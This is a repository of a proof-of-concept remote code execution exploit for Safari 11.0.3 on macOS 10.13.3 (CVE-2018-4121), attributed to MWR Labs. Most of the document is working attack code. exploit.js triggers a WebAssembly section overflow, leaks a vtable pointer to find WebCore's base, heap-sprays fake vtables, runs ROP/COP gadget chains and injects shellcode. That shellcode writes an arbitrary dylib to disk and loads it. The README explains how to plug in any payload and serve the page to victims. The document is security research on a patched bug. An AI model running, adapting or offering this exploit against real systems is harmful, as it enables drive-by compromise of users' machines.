├── exploit.html
├── alert_payload.m
├── file_to_jsarray.py
├── README.md
└── exploit.js
/exploit.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
pwning...
5 |
6 |
--------------------------------------------------------------------------------
/alert_payload.m:
--------------------------------------------------------------------------------
1 | //clang -o alert_payload.dylib alert_payload.m -framework Foundation -framework Cocoa -dynamiclib
2 | #import
3 | #import
4 |
5 | __attribute__((constructor))
6 | static void init(void){
7 | NSRunAlertPanel(@"Pwned.", @"Safari RCE by MWR Labs 2018 \\o/.", @"b00m", nil, nil);
8 | }
9 |
10 |
--------------------------------------------------------------------------------
/file_to_jsarray.py:
--------------------------------------------------------------------------------
1 | import sys
2 |
3 | def print_ln(bytes, out):
4 | ln = '[ '
5 | for b in bytes:
6 | ln += "0x%02x," % ord(b);
7 | out.write(ln + ' ],')
8 |
9 | bytes = open(sys.argv[1]).read()
10 | out = open(sys.argv[2], 'w')
11 |
12 | out.write("DYLIB_LENGTH = %d;\n" % len(bytes))
13 | out.write("DYLIB = [\n")
14 |
15 | while len(bytes) > 8:
16 | print_ln(bytes[:8], out)
17 | bytes = bytes[8:]
18 | out.write('\n');
19 |
20 | if len(bytes):
21 | bytes = bytes + "\x00"*(8 - len(bytes))
22 | print_ln(bytes, out)
23 |
24 | out.write('];')
25 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CVE-2018-4121 - Safari Wasm Sections POC RCE Exploit
2 |
3 | by MWR Labs (c) 2018
4 |
5 | ## Details
6 |
7 | * this proof of concept exploit targets Safari 11.0.3 (13604.5.6) on macOS 10.13.3 (17D47) versions only.
8 | * compile the payload of your choice as a dylib with a constructor
9 | * run `python file_to_jsarray.py your.dylib payload.js`
10 | * serve this directory and point Safari to /exploit.html
11 | * exploit is not fully reliable and uses hardcoded offsets for this macOS/Safari version.
12 | * exploit takes a while to run due to the size of the heap spray (24.5GB).
13 | * this issue is addressed in macOS 10.13.4 as CVE-2018-4121 (https://support.apple.com/en-gb/HT208692)
14 |
15 | ## Credits
16 |
17 | * Natalie Silvanovich of Google Project Zero - https://bugs.chromium.org/p/project-zero/issues/detail?id=1522
18 | * Ian Beer of Google Project Zero - https://googleprojectzero.blogspot.co.uk/2014/07/pwn4fun-spring-2014-safari-part-i_24.html
19 | * Phoenhex - https://phoenhex.re/
20 | * Fermin Serna - https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf
21 |
22 | ## References
23 |
24 | * https://labs.mwrinfosecurity.com/assets/BlogFiles/apple-safari-wasm-section-vuln-write-up-2018-04-16.pdf
25 | * https://labs.mwrinfosecurity.com/mwr-vulnerability-disclosure-policy
26 | * https://www.mwrinfosecurity.com/about-us/
27 |
--------------------------------------------------------------------------------
/exploit.js:
--------------------------------------------------------------------------------
1 | // Info leak of the vtable of a HTMLLinkElement.
2 | // HTMLLinkElement is 0xf8;
3 | var TARGET_OBJECT_SIZE = 0xf8;
4 |
5 | // Size of StringImplHeader
6 | var SIZE_HEADER_SIZE = 0x18;
7 |
8 | // Size of strings we are spraying.
9 | var TARGET_STRING_SIZE = TARGET_OBJECT_SIZE-SIZE_HEADER_SIZE;
10 |
11 | // This controls the max value we can write (i.e. 1-500) and thus leak!
12 | // This was 1000 before, it works with 1000 too. But bigger memory allocation needed.
13 | var TYPE_ARR_LEN = 500;
14 |
15 | // This needs to be the same size as our target object (4*102 = 408) + 0x18.
16 | // Control the size (newCapacity) of the vector we overflow (sizeof(uint32_t) * 12 = 48 byte buffer). We want 0x198
17 | var FUNC_COUNT = TARGET_OBJECT_SIZE / 4;
18 |
19 | // Info leak overflow
20 | // WTF::StringImpl:
21 | // 0x2 = m_refcount;
22 | // 500 = m_length; - Our new string length value (1000).
23 | var OVERWRITE_ARRAY1 = [0x10,500];
24 |
25 | var SPRAY_COUNT = 196;
26 | var SPRAY_ADDR_HIGH = 0x8;
27 |
28 | // This overflow is used to control RAX on the vtable call
29 | // 0x7fff39b56ce5 <+21>: call qword ptr [rax + 0x68]
30 | // rax = 0x0000000800000008
31 | var OVERWRITE_ARRAY2 = [0x08,SPRAY_ADDR_HIGH];
32 |
33 | // offset from base of vtable.
34 | // HTMLLinkElement
35 | // This needs updating if Safari version changes..
36 | var VTABLE_OFFSET = 0x45e88
37 |
38 | // Variable where we store the webcore base in.
39 | var webcore_base;
40 |
41 | function read_dword(leak_string, offset){
42 | var val = 0;
43 | for (var i = 0; i < 4; i++){
44 | val += target.charCodeAt(offset + i) << (i*8);
45 | }
46 | return val;
47 | }
48 |
49 | /* helper function to build strings which have a power-of-two length */
50 | function pow2str(p, b) {
51 | var str = String.fromCharCode(b);
52 | for (; p; p--){
53 | str += str;
54 | }
55 | return str;
56 | }
57 |
58 | function uint64(upper,lower)
59 | {
60 | var s = '';
61 | for (var i = 0; i < 4; i++)
62 | {
63 | s += String.fromCharCode((lower >> (i*8)) & 0xff);
64 | }
65 | for (var i = 0; i < 4; i++)
66 | {
67 | s += String.fromCharCode((upper >> (i*8)) & 0xff);
68 | }
69 | return s;
70 | }
71 |
72 | function text(offs) {
73 | //TODO: proper uint64 addition would be nice :D
74 | return uint64(webcore_base[1], (webcore_base[0] + offs));
75 | }
76 |
77 | function hex(b)
78 | {
79 | return ('0' + b.toString(16)).substr(-2);
80 | }
81 |
82 | function hexlify(bytes)
83 | {
84 | var res = [];
85 | for (var i =0; i < bytes.length; i++)
86 | {
87 | res.push(hex(bytes[i]));
88 | }
89 | return res.join('');
90 | }
91 |
92 | /* build a string of any length
93 | * note the actual malloc’ed size will include the StringImpl header size (24 bytes)
94 | */
95 | function alloc(n, b) {
96 | var res = '';
97 | for(var i = 0; i < 32; i++){
98 | if(n & 0x1)
99 | res += pow2str(i, b);
100 | n >>= 1;
101 | }
102 | /* this will flatten the rope and actually make the allocation */
103 | res[0];
104 | return res;
105 | }
106 |
107 | function alloc_rop(n, b, ropstack) {
108 | var res = ropstack;
109 | n -= res.length;
110 | for(var i = 0; i < 32; i++){
111 | if(n & 0x1)
112 | res += pow2str(i, b);
113 | n >>= 1;
114 | }
115 | /* this will flatten the rope and actually make the allocation */
116 | res[0];
117 | return res;
118 | }
119 |
120 | // Convert a number to a variable length array.
121 | function to_leb128(num)
122 | {
123 | ret = [];
124 | while (num > 0)
125 | {
126 | //print("entering loop with num " + num);
127 | tmp = num & 0x7f;
128 | num >>= 7;
129 | if (num > 0)
130 | tmp |= 0x80;
131 | ret.push("0x" + tmp.toString(16))
132 | }
133 | return ret;
134 | }
135 |
136 | // Utility function to generate a unique type..
137 | function generate_type(param_count)
138 | {
139 | var tmp = [];
140 |
141 | var form = ['0x60'];
142 | tmp = tmp.concat(form);
143 | tmp = tmp.concat(to_leb128(param_count));
144 |
145 | for (p = 0; p < param_count; p++)
146 | tmp = tmp.concat('0x7f');
147 |
148 | // Return count (getting cut off..)
149 | tmp = tmp.concat('0x1');
150 | tmp = tmp.concat('0x7f');
151 |
152 | //print(tmp);
153 | return tmp;
154 | }
155 |
156 | // Create the header
157 | function create_magic()
158 | {
159 | // Header bytes
160 | magic = ['0x0', '0x61', '0x73', '0x6d'];
161 | version = ['0x1', '0x0', '0x0', '0x0'];
162 | header = magic.concat(version);
163 | return header;
164 | }
165 |
166 | function create_type_section()
167 | {
168 | var type_id = ['0x1'];
169 | // Number of unique types to create.
170 | var type_count = to_leb128(TYPE_ARR_LEN);
171 | var type_pl = type_count;
172 |
173 | for (i = 0; i < TYPE_ARR_LEN; i++)
174 | {
175 | var t = generate_type(i+1);
176 | //print(t);
177 | type_pl = type_pl.concat(t);
178 | }
179 | var type_sz = to_leb128(type_pl.length);
180 | var type_section = type_id.concat(type_sz).concat(type_pl);
181 | //print(type_section);
182 | return type_section;
183 | }
184 |
185 | // Used to create our victim buffer we will overflow.
186 | function create_valid_function_section()
187 | {
188 | // Function section (3)
189 | var func_id = ['0x3'];
190 | var func_count = to_leb128(FUNC_COUNT);
191 | var single_func = ["0x1"]; // Just use a valid idx for the first section
192 | var func_arr = [];
193 | for (i = 0; i < FUNC_COUNT; i++)
194 | {
195 | func_arr = func_arr.concat(single_func);
196 | }
197 | var func_size = (FUNC_COUNT) + func_count.length
198 | var func_sz = to_leb128(func_size);
199 | var func_pl = func_count.concat(func_arr);
200 | var func_section = func_id.concat(func_sz).concat(func_pl);
201 | //print(func_section);
202 | return func_section;
203 | }
204 |
205 | // Return back an invalid section
206 | function create_invalid_section()
207 | {
208 | var inv_id = ['0x6d'];
209 | var inv_sz = ['0x2'];
210 | var inv_pl = ['0x0', '0x1'];
211 |
212 | var inv_section = inv_id.concat(inv_sz).concat(inv_pl);
213 | return inv_section;
214 | }
215 |
216 | // Used to create our overflow section (must be less than FUNC_COUNT) in order to reuse allocation.
217 | // Count = 2
218 | function create_overflow_section(overwrite_array)
219 | {
220 | var func_id = ['0x3'];
221 | var func_count = to_leb128(overwrite_array.length);
222 | var func_arr = [];
223 | // Construct our overflow array
224 | for (var i = 0; i < overwrite_array.length; i++)
225 | {
226 | var idx = overwrite_array[i]-1;
227 | //alert(idx);
228 | var single_func = to_leb128(idx);
229 | func_arr = func_arr.concat(single_func);
230 | }
231 | var func_size = overwrite_array.length + func_count.length;
232 | var func_sz = to_leb128(func_size);
233 | var func_pl = func_count.concat(func_arr);
234 | var func_section = func_id.concat(func_sz).concat(func_pl);
235 |
236 | return func_section;
237 | }
238 |
239 | // Return back an invalid section
240 | function create_invalid_section()
241 | {
242 | var inv_id = ['0x6d'];
243 | var inv_sz = ['0x2'];
244 | var inv_pl = ['0x0', '0x1'];
245 |
246 | var inv_section = inv_id.concat(inv_sz).concat(inv_pl);
247 | return inv_section;
248 | }
249 |
250 | ///var payload;
251 |
252 | function create_payload(payload){
253 | console.log("create payload called!");
254 | var header = create_magic();
255 | var type_section = create_type_section();
256 | var valid_func_section = create_valid_function_section();
257 |
258 | var invalid_section = create_invalid_section();
259 | var overflow_section1 = create_overflow_section(payload);
260 |
261 | var payload = header.concat(type_section).concat(valid_func_section).concat(invalid_section).concat(overflow_section1).concat(invalid_section);
262 | return payload;
263 | }
264 |
265 | holder = [];
266 | function gc2()
267 | {
268 | var h = [];
269 | for (var i = 0; i < 10000; i++)
270 | h[i] = alloc(400,0x20);
271 | holder.push(h);
272 | }
273 |
274 | var x;
275 |
276 | function ab_spray(target_addr, ropchain, payload, cop_ptrs) {
277 | // Small helper to avoid allocations with .set(), so we don't mess up the heap
278 | function set(p, i, a,b,c,d,e,f,g,h) {
279 | p[i+0]=a; p[i+1]=b; p[i+2]=c; p[i+3]=d; p[i+4]=e; p[i+5]=f; p[i+6]=g; p[i+7]=h;
280 | }
281 | //alert("let's go");
282 | AR_SZ = 0x08000000;
283 | var target_p = [];
284 | var ropchain_ps = [];
285 | var cop_ps = [];
286 | for(var i = 0; i < 8; i++)
287 | target_p.push(target_addr.charCodeAt(i));
288 | for(var i = 0; i < ropchain.length; i++) {
289 | var tmp = [];
290 | for(var j = 0; j < 8; j++)
291 | tmp.push(ropchain[i].charCodeAt(j));
292 | ropchain_ps.push(tmp);
293 | }
294 | // TODO this sometimes crashes because *(0x8000000000)==0 -> spray more ptrs!
295 | var dylib_start = AR_SZ - Math.ceil(DYLIB_LENGTH/0x1000)*0x1000;
296 | function spray(idx) {
297 | var res = new Uint8Array(AR_SZ);
298 | var dylib_idx = 0;
299 | for (var i = 0; i < AR_SZ; i += 0x1000) {
300 | var p;
301 | if(i >= dylib_start) {
302 | for(var j = 0; j < 0x200 && dylib_idx < DYLIB.length; j++,dylib_idx++) {
303 | p = DYLIB[dylib_idx];
304 | var idx = i + (j<<3);
305 | set(res, idx, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]);
306 | }
307 | }
308 | // i % PAGESIZE, spray differnt pattern per page
309 | else if(((i >> 12) & 0x3) == 0 || ((i >> 12) & 0x3) == 3) {
310 | p = target_p;
311 | for(var j = 0; j < 0x1000; j += 8) {
312 | set(res, i+j, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]);
313 | }
314 | for(var k in cop_ptrs) {
315 | j = cop_ptrs[k][0];
316 | p = cop_ptrs[k][1];
317 | set(res, i+j, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]);
318 | }
319 | }
320 | else if(((i >> 12) & 0x3) == 1) { // ROP PAGE
321 | var roplen = ropchain_ps.length << 3;
322 | var idx = 0;
323 | for(var j = 0; j < roplen; j += 8) {
324 | p = ropchain_ps[idx++];
325 | set(res, i+j, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]);
326 | }
327 | }
328 | else if(((i >> 12) & 0x3) == 2) { // PAYLOAD PAGE
329 | for(var j = 0; j < payload.length; j++)
330 | res[i+j] = payload.charCodeAt(j);
331 | }
332 | else {
333 | p = target_p;
334 | for(var j = 0; j < 0x1000; j += 8)
335 | set(res, i+j, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]);
336 | }
337 | }
338 | return res;
339 | }
340 |
341 | // predictably allocates memory at 0x800000000
342 | x = [];
343 | for(var i = 0; i < SPRAY_COUNT; i++)
344 | x.push(spray(i));
345 | var size_gb = AR_SZ * x.length / 1024 / 1024 / 1024;
346 | //alert("done spraying "+x.length+" buffers, total size: "+size_gb+"GB");
347 | return x;
348 | }
349 |
350 | payload1 = create_payload(OVERWRITE_ARRAY1);
351 | payload2 = create_payload(OVERWRITE_ARRAY2);
352 |
353 | // Stage1: Trigger the bug to perform an info leak.
354 |
355 | var a_elems = [];
356 | var b_elems = [];
357 | var e_elems = [];
358 | var c_elems = [];
359 | var d_elems = [];
360 |
361 | // First spray a pattern.
362 | //
363 | for (var i = 0; i < 0x1000; i++)
364 | {
365 |
366 | var a = alloc(TARGET_STRING_SIZE, 0x41); // One we free (replace with wasm)
367 | var b = alloc(TARGET_STRING_SIZE, 0x42); // Never free this.
368 | var e = document.createElement("link"); // Never free this (form element is the same size..)
369 |
370 | a_elems.push(a);
371 | b_elems.push(b);
372 | e_elems.push(e);
373 | }
374 |
375 | // Now free some A elements, so it should end up in one of these slots...
376 | //
377 | for (var i = 0; i < a_elems.length; i++)
378 | {
379 | //delete(a_elems[i]);
380 | a_elems[i] = null;
381 | }
382 |
383 | for (var i = 0; i < a_elems.length; i++)
384 | {
385 | delete(a_elems[i]);
386 | //c_elems[i] = null;
387 | }
388 |
389 | // Trigger some GCs
390 | for (var i = 0; i < 4; i++) gc2();
391 |
392 | // Try trigger a few times by getting the wasm in the A slots..
393 | // Not sure why we need to do it twice :), but it makes its way more reliable that we hit corruption first time round.
394 | //
395 | try { module = new WebAssembly.Module(new Uint8Array(payload1)) } catch (e) { };
396 | try { module = new WebAssembly.Module(new Uint8Array(payload1)) } catch (e) { };
397 |
398 | var corr_idx = -1;
399 |
400 | for (var i = 0; i < b_elems.length; i++)
401 | {
402 | if (b_elems[i]) {
403 |
404 | // We use slice(0) to force an update of the .length cached property - just reading it fails
405 | str = b_elems[i].slice(0);
406 |
407 | if (str.length != TARGET_STRING_SIZE) {
408 | //alert("Corruption size = " + str.length + " at index " + i);
409 | corr_idx = i;
410 | }
411 |
412 | }
413 | }
414 |
415 | // If there has been corruption dump the bytes after the buffer.
416 | if (corr_idx != -1)
417 | {
418 | //document.write(keep[corr_idx]);
419 | var target = b_elems[corr_idx].slice(0);
420 | //document.write(target);
421 | // Try dump the pointers
422 | var vtable_ptr = -1;
423 |
424 | var leaked_ptr_lower = read_dword(target,TARGET_STRING_SIZE);
425 | var leaked_ptr_higher = read_dword(target,TARGET_STRING_SIZE+4);
426 |
427 | if (leaked_ptr_higher != 0x7fff)
428 | {
429 | // False positive - go again.
430 | document.location.reload();
431 | }
432 |
433 | var value = ((leaked_ptr_lower) >>> 0).toString(16);
434 | document.writeln("Vtable lower " + value + "
");
435 | var value = ((leaked_ptr_higher) >>> 0).toString(16);
436 | document.writeln("Vtable upper " + value+ "
");
437 |
438 | // Try calculate the DATA section base from the vtable..
439 | // Note: static offset of vtable here..
440 | // Was previously 0x4ecf0e88
441 | var data_base_lower = leaked_ptr_lower - VTABLE_OFFSET;
442 | var data_base_higher = leaked_ptr_higher;
443 |
444 | var data_base_lower_hex = ((data_base_lower) >>> 0).toString(16);
445 | var data_base_upper_hex = ((data_base_higher) >>> 0).toString(16);
446 |
447 | document.writeln("WebCore __DATA section base lower " + data_base_lower_hex + "
");
448 | document.writeln("WebCore __DATA section base upper " + data_base_upper_hex + "
");
449 |
450 | // For some reason the TEXT section is always 0x4ecb8000 before the data section on 10.13.3.
451 | // Therefore remove this from the lower.
452 | text_base_lower = data_base_lower - 0x4ecb8000;
453 | text_base_higher = data_base_higher; // Both will be the same.
454 |
455 | text_base_lower_hex = ((text_base_lower) >>> 0).toString(16);
456 | text_base_upper_hex = ((text_base_higher) >>> 0).toString(16);
457 |
458 | document.writeln("WebCore __TEXT section base lower " + text_base_lower_hex + "
");
459 | document.writeln("WebCore __TEXT section base upper " + text_base_upper_hex + "
");
460 |
461 | // 42d8bfff
462 |
463 | for (var i = 0; i < target.length; i+=4)
464 | {
465 | var leaked_ptr_lower = read_dword(target, TARGET_STRING_SIZE + i);
466 | // Convert it to hex.
467 | var value = ((leaked_ptr_lower) >>> 0).toString(16);
468 | document.writeln(value);
469 | }
470 | }
471 | else
472 | {
473 | // Heap didn't lay out like we want it - try again!
474 | // We cannot continue unless we have the TEXT base :(
475 | document.location.reload();
476 | }
477 |
478 | webcore_base = [text_base_lower,text_base_higher];
479 |
480 | // Stage 2.. Do our heap spray so we have a fake vtable at the correct address..
481 | // 0x7fff39b56ce5 <+21>: call qword ptr [rax + 0x68]
482 | // At crash time rax = 0x0000000800000008
483 | //alert("Stage 2: Spraying fake vtable at "+SPRAY_ADDR_HIGH+"00000000");
484 | // Fixed offsets
485 | /*
486 | surgical_cop // Call Oriented Programming
487 | - rdi contains addrof(this), so our spray will be nearby.
488 | - we spray a retsled + ropchain-stub, so let's point rsp there
489 |
490 | 0x12df3b // add rdi, 0xd8; call [rax+0x10]
491 | 0x138d7f // add rdi, 0x60; call qword ptr [rax + 0x40];
492 | 0x19a688 // mov r14, rdi; mov rdi, r15; call qword ptr [rax + 0x8];
493 | 0x16ecd9 // mov rdx, r14; call qword ptr [rax + 0x18];
494 | 0xdeb12b // push rdx; pop rsp; add byte ptr [rax - 0x77], cl; ret;
495 | */
496 |
497 | var sigtrap = text(0xa576); // 0xcc int3
498 |
499 | var cop__add_rdi_0xd8 = text(0x12df3b);
500 | // add rdi, 0xd8; mov esi, 1; call qword ptr [rax + 0x10];
501 |
502 | var rop_stack_pivot = text(0xdeb12b);
503 | // push rdx; pop rsp; add byte ptr [rax - 0x77], cl; ret;
504 |
505 | var pop_rdx__ret = text(0x4b4a2); // pop rdx; ret;
506 | var pop_rsp__ret = text(0xb369); // pop rsp; ret;
507 |
508 | // this is allocated at 0x20000000, but rax points 8 bytes in
509 | // => low dword of rax will be 8, therefore add 8 to every offset:
510 | var cop_ptrs = {
511 | 0x10: text(0x16ecd9), // mov rdx, r14; call qword ptr [rax + 0x18];
512 | 0x18: text(0x138d7f), // add rdi, 0x60; call qword ptr [rax + 0x40];
513 | 0x20: rop_stack_pivot, // push rdx; pop rsp; add byte ptr [rax - 0x77], cl; ret;
514 | 0x48: text(0x19a688), // mov r14, rdi; mov rdi, r15; call qword ptr [rax + 0x8];
515 | // transfers control to ropstub
516 | }
517 | for(var k in cop_ptrs) {
518 | var tmp = [];
519 | for(var j = 0; j < 8; j++)
520 | tmp.push(cop_ptrs[k].charCodeAt(j));
521 | cop_ptrs[k] = [parseInt(k), tmp];
522 | }
523 | //alert("spraying "+(l.concat(h)));
524 |
525 | var ropstub = [
526 | pop_rdx__ret,
527 | uint64(SPRAY_ADDR_HIGH, 0x0001000),
528 | rop_stack_pivot
529 | ];
530 |
531 | var pop_rax__ret = text(0xb2ce); // pop rax; ret
532 | var pop_rcx__ret = text(0x9b396); // pop rcx; ret;
533 | var pop_rsi__ret = text(0x3f37e); // pop rsi; ret;
534 | var pop_rdi__ret = text(0x1f31cd);// pop rdi; ret
535 | var rop__ret = text(0x1f31cd + 1);// ret
536 | var jmp_rax = text(0x2c1e); // jmp rax;
537 |
538 | var mov_ptr_rdi_rax__ret = text(0x44568); // mov qword ptr [rdi], rax; ret;
539 | var mov_rdi_rax__pop_rbp__ret = text(0x5e9bf); // mov rdi, rax; mov rax, rdi; pop rbp; ret;
540 |
541 | var dlopen = text(0x13b158a); // dlopen stub, otool -arch x86_64 -IV
542 | var dlsym = text(0x13b1590); // dlsym stub
543 |
544 | // more stubs, needed in payload
545 | var strdup = text(0x13b1c6e);
546 | var open = text(0x13b1ad0);
547 | var write = text(0x13b1eea);
548 | var usleep = text(0x13b1e3c);
549 |
550 | var JUNK = uint64(0xdeadbeef, 0x0badc0de);
551 | var ropchain = [
552 | rop__ret,
553 | rop__ret,
554 | rop__ret,
555 |
556 | // write "/usr/lib/libc.dylib" to 0x200001f00
557 | pop_rax__ret,
558 | "/usr/lib",
559 | pop_rdi__ret,
560 | uint64(SPRAY_ADDR_HIGH, 0x00001f00), // 0-memory
561 | mov_ptr_rdi_rax__ret,
562 | pop_rax__ret,
563 | "/libc.dy",
564 | pop_rdi__ret,
565 | uint64(SPRAY_ADDR_HIGH, 0x00001f08),
566 | mov_ptr_rdi_rax__ret,
567 | pop_rax__ret,
568 | "lib" + "\x00".repeat(5),
569 | pop_rdi__ret,
570 | uint64(SPRAY_ADDR_HIGH, 0x00001f10),
571 | mov_ptr_rdi_rax__ret,
572 | rop__ret,
573 |
574 | // write "mprotect" to 0x200001f20
575 | pop_rax__ret,
576 | "mprotect",
577 | pop_rdi__ret,
578 | uint64(SPRAY_ADDR_HIGH, 0x00001f20), // 0-memory
579 | mov_ptr_rdi_rax__ret,
580 |
581 | // dlopen("libc.dylib", RTLD_NOW);
582 | pop_rdi__ret,
583 | uint64(SPRAY_ADDR_HIGH, 0x00001f00), // "libc.dylib"
584 | pop_rsi__ret,
585 | uint64(0x0, 0x2), // RTLD_NOW
586 | dlopen,
587 |
588 | // dlsym(LIBC_HANDLE, "mprotect")
589 | mov_rdi_rax__pop_rbp__ret, // move handle to rdi
590 | JUNK,
591 | pop_rsi__ret,
592 | uint64(SPRAY_ADDR_HIGH, 0x00001f20), // "mprotect"
593 | dlsym,
594 |
595 | // mprotect(0x200002000, 0x1000, PROT_READ|PROT_EXEC);
596 | pop_rdi__ret,
597 | uint64(SPRAY_ADDR_HIGH, 0x00002000), // payload addr
598 | pop_rsi__ret,
599 | uint64(0x0, 0x1000), // page size
600 | pop_rdx__ret,
601 | uint64(0x0, 0x5), // PROT_READ|PROT_EXEC
602 | jmp_rax,
603 |
604 | uint64(SPRAY_ADDR_HIGH, 0x00002000), // RET 2 SHELLCODE!!
605 | sigtrap,
606 | JUNK
607 | ];
608 | var SC = ""; // "\xcc";
609 | // LIBC = dlopen("libc.dylib", RTLD_NOW)
610 | SC += "\x48\xbf" + uint64(SPRAY_ADDR_HIGH, 0x1f00); // mov rdi, &"libc.dylib"
611 | SC += "\x48\xc7\xc6" + "\x02\x00\x00\x00"; // mov rsi, 0x2
612 | SC += "\x48\xb8" + dlopen; // mov rax, dlopen
613 | SC += "\xff\xd0"; // call rax
614 | SC += "\x48\x89\xc5"; // mov rbp, rax
615 |
616 | // dlsym(LIBC, "getenv")
617 | SC += "\x48\xbe" + uint64(SPRAY_ADDR_HIGH, 0x1f30); // mov rsi, &"getenv"
618 | SC += "\x48\xbb" + "getenv\x00\x00"; // mov rbx, "getenv"
619 | SC += "\x48\x89\x1e"; // mov [rsi], rbx
620 | SC += "\x48\x89\xef"; // mov rdi, rbp ; libc handle
621 | SC += "\x48\xb8" + dlsym; // mov rax, dlsym
622 | SC += "\xff\xd0"; // call rax
623 |
624 | // getenv("TMPDIR")
625 | SC += "\x48\xbf" + uint64(SPRAY_ADDR_HIGH, 0x1f40); // mov rdi, &"TMPDIR"
626 | SC += "\x48\xbb" + "TMPDIR\x00\x00"; // mov rbx, "TMPDIR"
627 | SC += "\x48\x89\x1f"; // mov [rdi], rbx
628 | SC += "\xff\xd0"; // call rax
629 |
630 | // strdup($TMPDIR) and save in r12
631 | SC += "\x48\x89\xc7"; // mov rdi, rax
632 | SC += "\x48\xb8" + strdup; // mov rax, strdup
633 | SC += "\xff\xd0"; // call rax
634 | SC += "\x49\x89\xc4"; // mov r12, rax
635 |
636 | // dlsym(LIBC, "strcat")
637 | SC += "\x48\xbe" + uint64(SPRAY_ADDR_HIGH, 0x1f50); // mov rsi, &"strcat"
638 | SC += "\x48\xbb" + "strcat\x00\x00"; // mov rbx, "strcat"
639 | SC += "\x48\x89\x1e"; // mov [rsi], rbx
640 | SC += "\x48\x89\xef"; // mov rdi, rbp ; libc handle
641 | SC += "\x48\xb8" + dlsym; // mov rax, dlsym
642 | SC += "\xff\xd0"; // call rax
643 |
644 | // strcat($TMPDIR, "pwn.so")
645 | SC += "\x48\xbe" + uint64(SPRAY_ADDR_HIGH, 0x1f60); // mov rsi, &"pwn.so"
646 | SC += "\x48\xbb" + "pwn.so\x00\x00"; // mov rbx, "pwn.so"
647 | SC += "\x48\x89\x1e"; // mov [rsi], rbx
648 | SC += "\x4c\x89\xe7"; // mov rdi, r12
649 | SC += "\xff\xd0"; // call rax
650 |
651 | // open(libpath, O_CREAT|O_RDWR, 0755)
652 | SC += "\x4c\x89\xe7"; // mov rdi, r12
653 | SC += "\x48\xbe" + uint64(0x0, 0x202) // mov rsi, 0x202
654 | SC += "\x48\xba" + uint64(0x0, 0755) // mov rdx, 0755
655 | SC += "\x48\xb8" + open; // mov rax, open
656 | SC += "\xff\xd0"; // call rax
657 | SC += "\x49\x89\xc5"; // mov r13, rax
658 |
659 | // find dylib in memory by looking for 0xfeedfacf-magic
660 | SC += "\xbb\x00\x00\xed\xfe"; // mov ebx, 0xfeed0000
661 | SC += "\x66\xbb\xcf\xfa"; // mov bx, 0xfacf
662 | SC += "\x48\xbe" + uint64(SPRAY_ADDR_HIGH, 0x1000); // mov rsi, end of payload - 0x1000
663 | SC += "\x48\x81\xc6\x00\x10\x00\x00"; // [LOOP] add rsi, 0x1000
664 | SC += "\x8b\x0e"; // mov ecx, [rsi]
665 | SC += "\x39\xcb"; // cmp ebx, ecx
666 | SC += "\x75\xf3"; // jne -11 [/LOOP]
667 |
668 | // write(fd, &dylib, sizeof(dylib))
669 | SC += "\x48\xba" + uint64(0x0, DYLIB_LENGTH); // mov rdx, sizeof(dylib)
670 | SC += "\x4c\x89\xef"; // mov rdi, r13
671 | SC += "\x48\xb8" + write; // mov rax, write
672 | SC += "\xff\xd0"; // call rax
673 |
674 | // dlopen("pwn.so", RTLD_NOW)
675 | SC += "\x4c\x89\xe7"; // mov rdi, r12
676 | SC += "\x48\xc7\xc6" + "\x02\x00\x00\x00"; // mov rsi, 0x2
677 | SC += "\x48\xb8" + dlopen; // mov rax, dlopen
678 | SC += "\xff\xd0"; // call rax
679 |
680 | // usleep(0xffffffff)
681 | //SC += "\x48\xbf" + uint64(0, 0xffffffff); // mov rdi, 0xffffffff
682 | //SC += "\x48\xb8" + usleep; // mov rax, usleep
683 | //SC += "\xff\xd0"; // call rax
684 |
685 | // in case that wasn't enough, loop forever :)
686 | SC += "\xeb\xfe"; // jmp 0
687 |
688 | var RET_SLED_LEN = 20;
689 | window.STUB_OFFSET = 0; // adjust for stack-pivot
690 | // remember: maxlen = 0xf0 = 240 = 30 chain elements
691 | var ropstub_str = '';
692 | for(var i = 0; i < RET_SLED_LEN; i++)
693 | ropstub_str += rop__ret;
694 | for(var i = 0; i < ropstub.length; i++)
695 | ropstub_str += ropstub[i];
696 |
697 | // Stage 3.. Now try trigger the bug
698 | // In the previous step we sprayed a fake vtable..
699 | // We redirect execution to this via this vtable call.
700 |
701 | //alert("Stage 3 (attach debugger): Triggering bug with text base 0x" + text_base_upper_hex + text_base_lower_hex);
702 |
703 | var a_elems = [];
704 | var b_elems = [];
705 | var e_elems = [];
706 | var c_elems = [];
707 | var d_elems = [];
708 |
709 | var spray_buffers;
710 | function spray_maybe() {
711 | if(!spray_buffers)
712 | spray_buffers = ab_spray(cop__add_rdi_0xd8, ropchain, SC, cop_ptrs);
713 | return spray_buffers;
714 | }
715 |
716 |
717 |
718 | function stage3() {
719 | for (var i = 0; i < 0x0a000; i++)
720 | {
721 |
722 | var a = alloc_rop(TARGET_STRING_SIZE, 0x43, ropstub_str);
723 | var b = alloc_rop(TARGET_STRING_SIZE, 0x44, ropstub_str); // Free this one
724 | var e = document.createElement("link");
725 | //var c = alloc_rop(TARGET_STRING_SIZE, 0x45, ropstub_str);
726 |
727 | a_elems.push(a);
728 | b_elems.push(b);
729 | e_elems.push(e);
730 | //c_elems.push(c);
731 | }
732 |
733 | for (var i = 0; i < b_elems.length; i++)
734 | {
735 | b_elems[i] = null;
736 | }
737 |
738 | for (var i = 0; i < b_elems.length; i++)
739 | {
740 | delete(b_elems[i]);
741 | }
742 |
743 | // Trigger some GCs
744 | for (var i = 0; i < 4; i++) gc2();
745 |
746 | spray_maybe();
747 | // Trigger the vtable overwrite a few times and redirect execution..
748 | for (var i = 0; i < 3; i++)
749 | {
750 | try { module = new WebAssembly.Module(new Uint8Array(payload2)) } catch (e) { };
751 | }
752 |
753 | for(var i = 0; i < e_elems.length; i++) {
754 | e_elems[i].focus();
755 | }
756 | }
757 | for(var i = 0; i < 10; i++)
758 | stage3();
759 | // This is needed to trigger the vtable call =)
760 | window.location.reload();
761 |
762 |
--------------------------------------------------------------------------------